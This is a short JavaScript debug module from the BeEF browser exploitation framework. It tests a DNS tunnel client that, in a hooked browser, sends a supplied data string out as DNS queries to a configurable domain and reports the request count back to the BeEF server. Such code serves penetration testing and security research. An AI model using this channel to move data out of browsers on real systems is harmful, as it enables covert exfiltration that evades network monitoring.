Files
beef/modules/debug/test_dns_tunnel_client/command.js
2019-01-01 11:57:28 +10:00

24 lines
692 B
JavaScript

//
// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
/*
Check the Browser Hacker's Handbook, chapter 3, pages 89-95 for more details about how this works.
*/
beef.execute(function() {
var msgId = "<%= @command_id %>";
var domain = "<%= @domain %>";
var data = "<%= @data %>";
//chunks comes from the callback
beef.net.dns.send(msgId, data, domain, function(chunks){
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'dns_requests='+chunks+' requests sent');
}
);
});